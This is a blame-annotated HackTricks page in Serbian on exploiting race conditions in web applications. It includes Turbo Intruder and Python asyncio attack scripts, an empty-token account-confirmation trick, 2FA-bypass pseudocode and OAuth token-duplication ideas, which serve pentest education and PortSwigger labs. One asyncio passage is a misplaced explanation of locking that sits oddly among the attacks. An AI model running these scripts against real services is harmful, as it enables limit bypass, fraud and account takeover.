hacktricks/pentesting-web/race-condition.md

331 lines
19 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# Trkački uslov
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-10 13:11:20 +00:00
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** koji se pokreću najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-06 03:10:38 +00:00
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
Da biste duboko razumeli ovu tehniku, proverite originalni izveštaj na [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
2024-02-10 13:11:20 +00:00
## Unapređivanje napada trkačkog uslova
2024-02-10 13:11:20 +00:00
Glavna prepreka u iskorišćavanju trkačkog uslova je osigurati da se više zahteva obrađuje istovremeno, sa **vrlo malom razlikom u vremenu obrade - idealno manje od 1ms**.
2024-02-10 13:11:20 +00:00
Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
2024-02-10 13:11:20 +00:00
#### Napad jednim paketom HTTP/2 protiv sinhronizacije poslednjeg bajta HTTP/1.1
2024-02-10 13:11:20 +00:00
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP konekcije, smanjujući uticaj mrežnog kašnjenja. Međutim, zbog varijacija na serverskoj strani, dva zahteva možda nisu dovoljna za dosledno iskorišćavanje trkačkog uslova.
- **HTTP/1.1 'Last-Byte Sync'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment koji se zatim šalje zajedno, postižući istovremeni dolazak na server.
2024-02-10 13:11:20 +00:00
**Priprema za sinhronizaciju poslednjeg bajta** uključuje:
1. Slanje zaglavlja i podataka tela bez poslednjeg bajta bez završetka toka.
2. Zaustavljanje na 100ms nakon početnog slanja.
3. Onemogućavanje TCP_NODELAY da bi se koristio Naglov algoritam za grupisanje konačnih okvira.
4. Pingovanje za zagrevanje veze.
2024-02-10 13:11:20 +00:00
Naknadno slanje zadržanih okvira trebalo bi rezultirati njihovim dolaskom u jednom paketu, što se može proveriti putem Wireshark-a. Ova metoda se ne primenjuje na statičke datoteke koje obično nisu uključene u napade trkačkog uslova.
2024-02-10 13:11:20 +00:00
### Prilagođavanje serverske arhitekture
2024-02-10 13:11:20 +00:00
Razumevanje arhitekture cilja je ključno. Serveri na prednjoj strani mogu usmeravati zahteve na različite načine, što utiče na vreme. Preemptivno zagrevanje serverske veze, putem nebitnih zahteva, može normalizovati vreme zahteva.
2024-02-10 13:11:20 +00:00
#### Prevazilaženje zaključavanja na osnovu sesije
2024-02-10 13:11:20 +00:00
Okviri kao što je PHP-ov rukovalac sesijama serijski obrađuju zahteve po sesiji, što potencijalno prikriva ranjivosti. Korišćenje različitih sesijskih tokena za svaki zahtev može zaobići ovaj problem.
2024-02-10 13:11:20 +00:00
#### Prevazilaženje ograničenja brzine ili resursa
2024-02-10 13:11:20 +00:00
Ako zagrevanje veze nije efikasno, namerno izazivanje kašnjenja ograničenja brzine ili resursa veb servera putem poplave lažnih zahteva može olakšati napad jednim paketom stvaranjem kašnjenja na serverskoj strani pogodnog za trkačke uslove.
2024-02-10 13:11:20 +00:00
## Primeri napada
2024-02-10 13:11:20 +00:00
* **Tubo Intruder - napad jednim paketom HTTP2 (1 endpoint)**: Možete poslati zahtev na **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), možete promeniti vrednost koju želite da probate metodom "brute force" za **`%s`** kao u `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, a zatim izabrati **`examples/race-single-packer-attack.py`** iz padajućeg menija:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:11:20 +00:00
Ako želite da **pošaljete različite vrednosti**, možete izmeniti kod sa ovim koji koristi listu reči sa clipboard-a:
```python
2024-02-10 13:11:20 +00:00
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
Ako veb ne podržava HTTP2 (samo HTTP1.1), umesto `Engine.BURP2` koristite `Engine.THREADED` ili `Engine.BURP`.
{% endhint %}
2024-02-10 13:11:20 +00:00
* **Tubo Intruder - Napad jednim paketom HTTP2 (Više krajnjih tačaka)**: U slučaju da trebate poslati zahtev na jednu krajnju tačku, a zatim više zahteva na druge krajnje tačke kako biste pokrenuli RCE, možete promeniti skriptu `race-single-packet-attack.py` na nešto poput:
```python
def queueRequests(target, wordlists):
2024-02-10 13:11:20 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
2024-02-10 13:11:20 +00:00
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Takođe je dostupno u **Repeater-u** putem nove opcije '**Paralelno slanje grupe**' u Burp Suite-u.
* Za **prekoračenje ograničenja** jednostavno možete dodati **istu zahtev 50 puta** u grupu.
* Za **zagrevanje konekcije**, možete **dodati** na **početak grupe** neke zahteve ka delu veb servera koji nije statičan.
* Za **odlaganje** procesa **između** obrade **jednog zahteva i drugog** u 2 podstanja koraka, možete **dodati dodatne zahteve između** oba zahteva.
* Za više krajnjih tačaka RC-a možete početi slanje **zahteva** koji **ide ka skrivenom stanju** i zatim **50 zahteva** odmah nakon toga koji **eksploatišu skriveno stanje**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-10 13:11:20 +00:00
### Sirovi BF
2024-02-10 13:11:20 +00:00
Prethodno istraživanje je koristilo ove payload-e koji su samo pokušavali da pošalju pakete što je brže moguće kako bi izazvali RC.
2024-02-10 13:11:20 +00:00
* **Repeater:** Pogledajte primere iz prethodne sekcije.
* **Intruder**: Pošaljite **zahtev** Intruder-u, postavite **broj niti** na **30** unutar menija **Opcije**, izaberite kao payload **Null payloads** i generišite **30**.
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
2024-02-10 13:11:20 +00:00
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
2024-02-10 13:11:20 +00:00
table.add(req)
```
2024-02-10 13:11:20 +00:00
* **Python - asyncio**
* **Python - asyncio**
2022-10-11 22:51:42 +00:00
2024-02-10 13:11:20 +00:00
Python - asyncio je biblioteka koja omogućava asinhrono izvršavanje koda. To je korisno za rukovanje trkačkim uslovima u veb aplikacijama.
Da biste iskoristili asyncio, morate koristiti `async` i `await` ključne reči. `async` se koristi za definisanje asinhronih funkcija, dok se `await` koristi za čekanje na završetak asinhronih operacija.
Kada se koristi asyncio, možete koristiti `asyncio.Lock()` objekat za sinhronizaciju pristupa deljenim resursima. Ovaj objekat obezbeđuje da samo jedan proces može pristupiti resursu u isto vreme.
Evo primera koda koji koristi asyncio za rukovanje trkačkim uslovima:
2022-10-11 22:51:42 +00:00
```python
import asyncio
2024-02-10 13:11:20 +00:00
async def access_resource(lock):
await lock.acquire()
try:
# Ovde se vrši pristup deljenom resursu
print("Pristupam deljenom resursu...")
await asyncio.sleep(1)
print("Završio sam pristup deljenom resursu.")
finally:
lock.release()
2022-10-11 22:51:42 +00:00
async def main():
2024-02-10 13:11:20 +00:00
lock = asyncio.Lock()
tasks = []
for _ in range(5):
tasks.append(access_resource(lock))
await asyncio.gather(*tasks)
2022-10-11 22:51:42 +00:00
asyncio.run(main())
```
2024-02-10 13:11:20 +00:00
U ovom primeru, `access_resource()` funkcija koristi `lock.acquire()` da bi se osiguralo da samo jedan proces može pristupiti deljenom resursu u isto vreme. Nakon pristupa resursu, funkcija čeka 1 sekundu koristeći `asyncio.sleep()` i zatim oslobađa zaključavanje pomoću `lock.release()`.
`main()` funkcija kreira `asyncio.Lock()` objekat i pokreće pet instanci `access_resource()` funkcije koristeći `asyncio.gather()`.
Kada se ovaj kod izvrši, svaka instanca `access_resource()` funkcije će se izvršiti asinhrono, ali će biti sinhronizovane korišćenjem `asyncio.Lock()` objekta. Ovo osigurava da samo jedan proces može pristupiti deljenom resursu u isto vreme, sprečavajući trkačke uslove.
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
2024-02-10 13:11:20 +00:00
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
2024-02-10 13:11:20 +00:00
asyncio.run(main())
```
## **Metodologija RC-a**
2024-02-10 13:11:20 +00:00
### Prekoračenje ograničenja / TOCTOU
2024-02-10 13:11:20 +00:00
Ovo je najosnovniji tip trke uslova gde se **ranjivosti** pojavljuju na mestima koja **ograničavaju broj puta kada možete izvršiti određenu radnju**. Na primer, korišćenje istog koda za popust nekoliko puta u veb prodavnici. Veoma jednostavan primer može se pronaći u [**ovom izveštaju**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**ovom bagu**](https://hackerone.com/reports/759247)**.**
2024-02-10 13:11:20 +00:00
Postoji mnogo varijacija ovakvih napada, uključujući:
2024-02-10 13:11:20 +00:00
* Višestruko iskorišćavanje poklon kartice
* Višestruko ocenjivanje proizvoda
* Podizanje ili prenos gotovine preko iznosa na računu
* Ponovno korišćenje jedinstvenog rešenja CAPTCHA
* Zaobilaženje ograničenja brzine protiv brute-force napada
2024-02-10 13:11:20 +00:00
### **Skriveni podstanja**
2024-02-10 13:11:20 +00:00
Iskorišćavanje složenih trka uslova često uključuje iskorišćavanje kratkih prilika za interakciju sa skrivenim ili **nenamernim podstanjima mašine**. Evo kako pristupiti ovome:
2024-02-10 13:11:20 +00:00
1. **Identifikujte potencijalna skrivena podstanja**
- Počnite tako što ćete identifikovati krajnje tačke koje menjaju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi za resetovanje lozinke. Fokusirajte se na:
- **Skladištenje**: Dajte prednost krajnjim tačkama koje manipulišu podacima na serveru u odnosu na one koje rukuju podacima na klijentskoj strani.
- **Radnja**: Potražite operacije koje menjaju postojeće podatke, jer su one verovatnije da će stvoriti iskorišćive uslove u poređenju sa operacijama koje dodaju nove podatke.
- **Ključevi**: Uspešni napadi obično uključuju operacije koje se ključe na isti identifikator, na primer korisničko ime ili token za resetovanje.
2024-02-10 13:11:20 +00:00
2. **Sprovedite početno ispitivanje**
- Testirajte identifikovane krajnje tačke sa napadima trke uslova, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na ranjivost.
2024-02-10 13:11:20 +00:00
3. **Pokažite ranjivost**
- Sužite napad na minimalan broj zahteva potrebnih za iskorišćavanje ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog vremenskog usklađivanja.
2024-02-10 13:11:20 +00:00
### Napadi osetljivi na vreme
2024-02-10 13:11:20 +00:00
Preciznost u vremenskom slanju zahteva može otkriti ranjivosti, posebno kada se koriste predvidljive metode poput vremenskih oznaka za sigurnosne tokene. Na primer, generisanje tokena za resetovanje lozinke na osnovu vremenskih oznaka može omogućiti identične tokene za istovremene zahteve.
2024-02-10 13:11:20 +00:00
**Da biste iskoristili:**
- Koristite precizno vremensko slanje, poput napada sa jednim paketom, kako biste izvršili istovremene zahteve za resetovanje lozinke. Identični tokeni ukazuju na ranjivost.
2024-02-10 13:11:20 +00:00
**Primer:**
- Zatražite dva tokena za resetovanje lozinke istovremeno i uporedite ih. Podudarajući tokeni ukazuju na grešku u generisanju tokena.
2024-02-10 13:11:20 +00:00
**Proverite ovaj [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) da biste isprobali ovo.**
2024-02-10 13:11:20 +00:00
## Studije slučaja skrivenih podstanja
2024-02-10 13:11:20 +00:00
### Plaćanje i dodavanje stavke
2024-02-10 13:11:20 +00:00
Proverite ovaj [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da biste videli kako **platiti** u prodavnici i **dodati dodatnu** stavku koju **nećete morati platiti**.
2024-02-10 13:11:20 +00:00
### Potvrda drugih e-pošta
2024-02-10 13:11:20 +00:00
Ideja je **verifikovati adresu e-pošte i istovremeno je promeniti u drugu** kako biste saznali da li platforma verifikuje novu adresu.
2024-02-10 13:11:20 +00:00
### Promena e-pošte na 2 adrese zasnovana na kolačićima
2024-02-10 13:11:20 +00:00
Prema [**ovom istraživanju**](https://portswigger.net/research/smashing-the-state-machine), Gitlab je bio ranjiv na preuzimanje na ovaj način jer bi mogao **poslati** **token za verifikaciju e-pošte jedne adrese na drugu adresu**.
2024-02-10 13:11:20 +00:00
**Proverite ovaj [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) da biste isprobali ovo.**
2024-02-10 13:11:20 +00:00
### Skrivena stanja baze podataka / Zaobilaženje potvrde
2024-02-10 13:11:20 +00:00
Ako se koriste **2 različita upisa** za **dodavanje** **informacija** u bazu podataka, postoji mali vremenski period kada je **samo prvi podatak upisan** u bazu podataka. Na primer, prilikom kreiranja korisnika, **korisničko ime** i **lozinka** mogu biti **upisani**, a zatim se upisuje token za potvrdu novo kreiranog naloga. To znači da je tokom kratkog vremena **token za potvrdu naloga prazan**.
2024-02-10 13:11:20 +00:00
Stoga, **registrovanje naloga i slanje nekoliko zahteva sa praznim tokenom** (`token=` ili `token[]=` ili bilo koja druga varijacija) za odmah potvrđivanje naloga može omogućiti **potvrdu naloga** gde ne kontrolišete e-poštu.
2024-02-10 13:11:20 +00:00
**Proverite ovaj [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) da biste isprobali ovo.**
2024-02-10 13:11:20 +00:00
### Zaobilaženje dvofaktorne autentifikacije
Sledeći pseudo-kod je ranjiv na trku uslova jer u vrlo kratkom vremenskom periodu **dvofaktorna autentifikacija nije primenjena** dok se sesija kreira:
```python
session['userid'] = user.userid
if user.mfa_enabled:
2024-02-10 13:11:20 +00:00
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
2024-02-10 13:11:20 +00:00
### Večna postojanost OAuth2
2024-02-10 13:11:20 +00:00
Postoji nekoliko [**OAuth provajdera**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ovi servisi će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, **klijent** će morati da **dozvoli vašoj aplikaciji** pristup nekim od njihovih podataka unutar **OAuth provajdera**-a.\
Dakle, do sada samo uobičajena prijava putem google/linkedin/github... gde vam se prikazuje stranica sa porukom: "_Aplikacija \<InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?_"
2024-02-10 13:11:20 +00:00
#### Trkačka situacija u `authorization_code`
2024-02-10 13:11:20 +00:00
**Problem** se javlja kada ga **prihvatite** i automatski šalje **`authorization_code`** zlonamerno aplikaciji. Zatim, ova aplikacija zloupotrebljava trkačku situaciju u OAuth servis provajderu da generiše više od jednog AT/RT (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U osnovi, zloupotrebiće činjenicu da ste prihvatili aplikaciju da pristupi vašim podacima da bi **kreirala nekoliko naloga**. Zatim, ako **prestane da dozvoljava aplikaciji pristup vašim podacima, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti validni**.
2024-02-10 13:11:20 +00:00
#### Trkačka situacija u `Refresh Token`
2024-02-10 13:11:20 +00:00
Kada ste **dobili validan RT**, možete pokušati da ga zloupotrebite da biste generisali nekoliko AT/RT-a i **čak ako korisnik otkaže dozvole** za zlonamernu aplikaciju da pristupi njegovim podacima, **nekoliko RT-ova će i dalje biti validno**.
2024-02-10 13:11:20 +00:00
## **RC u WebSockets**
2024-02-10 13:11:20 +00:00
U [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) možete pronaći PoC u Javi za slanje websocket poruka **paralelno** kako biste zloupotrebili **trkačke situacije i u Web Sockets**-ima.
2024-02-10 13:11:20 +00:00
## Reference
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-10 13:11:20 +00:00
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
Dobijte pristup danas:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}